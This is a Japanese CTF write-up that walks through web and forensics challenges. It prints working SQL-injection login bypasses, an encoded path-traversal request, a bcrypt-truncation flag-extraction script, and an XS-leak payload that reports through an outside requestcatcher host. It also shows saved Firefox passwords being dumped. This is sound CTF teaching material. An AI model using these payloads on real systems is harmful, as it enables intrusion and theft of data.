- [web] Idoriot
- [web] idoriot revenge
- [web] roks
- [web] blank
- [web] Login
- [web] amogus
- [forensics] web
- [forensics] blurry
[web] Idoriot
ログインページが与えられる。
<?php session_start(); // Check if user is logged in if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit(); } // Check if session is expired if (time() > $_SESSION['expires']) { header("Location: logout.php"); exit(); } // Display user ID on landing page echo "Welcome, User ID: " . urlencode($_SESSION['user_id']); // Get the user for admin $db = new PDO('sqlite:memory:'); $admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch(); // Check if the user is admin if ($admin['user_id'] === $_SESSION['user_id']) { // Read the flag from flag.txt $flag = file_get_contents('flag.txt'); echo "<h1>Flag</h1>"; echo "<p>$flag</p>"; } else { // Display the source code for this file echo "<h1>Source Code</h1>"; highlight_file(__FILE__); } ?>
user_id=0
のユーザー名と同じユーザー名を作ればよさそうだが、
試しにadminをユーザー名として作成しようとしたが失敗する。
通信ログを見てみると、ユーザー作成時にuser_idも指定されている。
POST /register.php HTTP/1.1 ... Connection: close username=samechan&password=asdfjiaejrasjfiewafjsdkafjiawejriae&user_id=511839268
任意のuser_idを強制することができそう。
POST /register.php HTTP/1.1 ... Connection: close username=samechan&password=asdfjiaejrasjfiewafjsdkafjiawejriae&user_id=0
こうするとuser_id=0のusernameが変更でき、フラグが得られる。
[web] idoriot revenge
フラグもらえる条件が変わっている。
<?php session_start(); // Check if user is logged in if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit(); } // Check if session is expired if (time() > $_SESSION['expires']) { header("Location: logout.php"); exit(); } // Display user ID on landing page echo "Welcome, User ID: " . urlencode($_SESSION['user_id']); // Get the user for admin $db = new PDO('sqlite:memory:'); $admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch(); // Check user_id if (isset($_GET['user_id'])) { $user_id = (int) $_GET['user_id']; // Check if the user is admin if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) { // Read the flag from flag.txt $flag = file_get_contents('/flag.txt'); echo "<h1>Flag</h1>"; echo "<p>$flag</p>"; } } // Display the source code for this file echo "<h1>Source Code</h1>"; highlight_file(__FILE__); ?>
以下のように条件をそろえるとフラグ。
$user_id == "php"
- クエリストリングで
?user_id=php
をつけてやればいい
- クエリストリングで
preg_match("/".$admin['username']."/", $_SESSION['username'])
- 正規表現
/admin/
にマッチするようログインするユーザー名を作ればいいが、どこかにadminがあればいいので、適当にユーザー名をadminadminにした
- 正規表現
[web] roks
/flag.png
を取得したい。
よくみると/file.php
でパストラバーサル脆弱性がある。
<?php $filename = urldecode($_GET["file"]); if (str_contains($filename, "/") or str_contains($filename, ".")) { $contentType = mime_content_type("stopHacking.png"); header("Content-type: $contentType"); readfile("stopHacking.png"); } else { $filePath = "images/" . urldecode($filename); $contentType = mime_content_type($filePath); header("Content-type: $contentType"); readfile($filePath); } ?>
/と.があると弾かれるのでパストラバーサルが難しそうな雰囲気はあるが、
よく見ると、urldecodeが判定後に使用されている。
なのでurlエンコードをした状態で判定を通して、そのあとurlデコードして目的のパストラバーサル向けファイル名になるようにしてやればいい。
具体的にはGET /file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng
でフラグが獲得できる。
[web] blank
ユーザー名がadminでログインできればGET /flag
でフラグが得られる。
POST /login
で明らかなSQL Injectionがある。
app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => { if (err) { console.error(err); res.status(500).send('Error retrieving user'); } else { if (row) { req.session.loggedIn = true; req.session.username = username; res.send('Login successful!'); } else { res.status(401).send('Invalid username or password'); } } }); });
入力のusernameがそのままセッションに保存されるのでadminにすればいいが、passwordは自由に指定可能。
DBは空なので、単純に全部出すようなpayloadではなくunionで応答があるようにする。
username: admin
password: " union select 0,"","" --
これでGET /flag
すればフラグ獲得。
[web] Login
/?source
でソースコードが得られる。
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } $flag = $_ENV['FLAG'] ?? 'jctf{test_flag}'; $magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344'; $db = new SQLite3('/db.sqlite3'); $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; $msg = ''; if (isset($_GET[$magic])) { $password .= $flag; } if ($username && $password) { $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true); if (!$res) { $msg = "Invalid username or password"; } else if (password_verify($password, $res['pwhash'])) { $u = htmlentities($res['username']); $msg = "Welcome $u! But there is no flag here :P"; if ($res['username'] === 'admin') { $msg .= "<!-- magic: $magic -->"; } } else { $msg = "Invalid username or password"; } } ?>
まずはmagicを手に入れないとフラグが入ってこないので、magicを特定しよう。
SQL Injectionがあるので、SQLの実行結果は任意のusernameとpwhashを指定することができる。
つまり、入力したpasswordが作り出したpwhashで検証可能であり、usernameをadminにしておけばmagicが手に入る。
username: aaaaa' union select 'admin', '$2y$10$nNya64FW5wFMi3dlM6McuuuoM1Rpk4QLm7nbJlemdMRl31em/E4S6' --
password: a
usernameのハッシュはphpでecho password_hash("a", PASSWORD_BCRYPT);
のように作ればよい。
これでmagicが得られたので、?688a35c685a7a654abc80f8e123ad9f0
というのを付ければパスワードにフラグを付けてくれるようになる。
さて、パスワードの末尾に追加されたフラグをどのように抜き取っていこうか。
password_verifyについて有名な脆弱点として、password_hashでアルゴリズムをPASSWORD_BCRYPTとして使うと、
password が最大 72 バイトまでに切り詰められるというものがある。
以下のコードでそれを確認可能。
<?php $plain = "123456789012345678901234567890123456789012345678901234567890123456789012"; $challenge = "123456789012345678901234567890123456789012345678901234567890123456789012extended"; echo password_verify($challenge, password_hash($plain, PASSWORD_BCRYPT));
これをうまく使うことでフラグを特定できる。
例えば、passwordとしてAを71文字入力したとき、末尾にフラグが追加されると、
AAA...AAAictf{??????????}
のような形となる。しかし、password_verifyでの検証は先頭72文字に対してのみ行われるので、
AAA...AAAi
を検証することになる。なので、password_hash("AAA...AAAi", PASSWORD_BCRYPT)
というのをpwhashとして指定すれば認証が通る。
次に、Aを70個にすると、AAA...AAAic
の検証になる。
これも先頭はicだと分かっているので、password_hash("AAA...AAAic", PASSWORD_BCRYPT)
をpwhashに入れればよい。
これを進めていくと、AAA...AAAictf{
までは既知であるが、その次が分からない。
分からないが、ここまでの流れを確認すると先頭から1文字ずつどの文字であるかが検証可能であることが分かる。
なので、次はAAA...AAAictf{?
であるが、
AAA...AAAictf{a
AAA...AAAictf{b
...
のようにすべての文字を全探索して検証が通るものを探すことで先頭から1文字ずつ文字を特定していくことができる。
以下のようなスクリプトで抜き出せる。
import subprocess import requests import time flag = 'ictf{why_are_bcrypt_truncating_my_pa' for _ in range(20): for c in "qwertyuiopasdfghjklzxcvbnm1234567890{_}!?": print('[*] testing ' + c) pwhash = subprocess.run(["php", "a.php", "A"*(71 - len(flag))+flag+c], capture_output=True).stdout.decode('utf-8') username = "aaaaa' union select 'admin', '" + pwhash + "' -- " password = "A"*(71 - len(flag)) res = requests.post('http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0', data={'username':username,'password':password}).text time.sleep(1) if 'Welcome admin!' in res: flag = flag + c print('[!] found! ' + flag) break
[web] amogus
まず、auth.supersus.corpのURLをレポートするが、以下のようにGET /
のクエリストリングerrorにHTMLコードを入れてHTML Injectionはできる。
http://auth.supersus.corp/?error=%3Cs%3Exss%3C/s%3E
しかし、nginx側で以下のようなCSPが設定されているので何とかする必要がある。
sandbox allow-forms allow-same-origin; img-src *; default-src none; style-src 'self'; script-src none; object-src http: https:; frame-src http: https:;" always;
仕様を見ると最終的には完全にコレだが、XSSできないしなぁ…
https://xsleaks.dev/docs/attacks/error-events/
と思ってむっちゃググると、むちゃくちゃ使えそうなテクがあった。
https://book.hacktricks.xyz/pentesting-web/xs-search#onload-timing
<object data="http://mail.supersus.corp/emails/1?search=ictf{"> <object data="https://[yours].requestcatcher.com/error1"></object> </object> <object data="http://mail.supersus.corp/emails/1?search=jctf{"> <object data="https://[yours].requestcatcher.com/error2"></object> </object>
error2のみで応答がある。ok
https://docs.sqlalchemy.org/en/14/core/sqlelement.html#sqlalchemy.sql.expression.ColumnOperators.contains
containsはLIKE文として評価されるらしく、アンダーバーを工夫しないといい感じに取れないので注意。
(後Case Sensitiveっぽいのもちょっと嫌な所だが、全部小文字だったので事なきを得た)
ソルバー書きをさぼって、全文字送って手動で応答がないものを取得してきた。
一気に送れないので以下のような感じでobjectタグを一斉送信する。
from pwn import * import urllib.parse dic = "!0123456789?abcdefghijklmnopqrstuvwxyz" #!012 456789?abcdefghijklmnopqrstuvwxyz for d in range((len(dic) + 4) // 5): all_text = '' for c in dic[d * 5:(d + 1) * 5]: text = '<object data="http://mail.supersus.corp/emails/1?search=ictf{i_guess_the_impostor_leaked_al' text += c text += '"><object data="https://[yours].requestcatcher.com/error' text += c text += '"></object></object>' all_text += text payload = 'http://auth.supersus.corp/?error=' + urllib.parse.quote(all_text) p = remote("amogus-admin-bot.chal.imaginaryctf.org", 1337) p.recvrepeat(3) p.send(payload) p.recvrepeat(3) p.close()
全ての文字をobjectで送るとヒットしたもののみrequestcatcherに応答が送られない。
なので、応答がない文字をつなぎ合わせていけばフラグが手に入る。
[forensics] web
firefoxのプロファイルが配布される。
https://github.com/Busindre/dumpzilla
これをつかって、プロファイルを解析して眺めてみる。
すると、以下のサイトが見つかる。
https://yoteachapp.com/password/64ab39b5b13dfb00148ea72f
パスワードがかかっているので、保存されたパスワードをダンプしてみる。
https://github.com/unode/firefox_decrypt
UeMBYIbgPqNiSWzOVguTbccMOnLirDoEGTjgiqNrbOvwzynbyN
これで開くとチャットサイトがあり、フラグが書いてあった。
[forensics] blurry
画像を鮮明化してQRコードを読み取る。
https://photobooth.online/ja-jp/image-enhancer/upload
「画像鮮明化」で検索でてきた、死ぬほど怪しいサイトに通して
これが鮮明化か???みたいな状態になったQRコードをiPhoneのカメラにかざすと何故か鮮明になっているらしくフラグが得られた。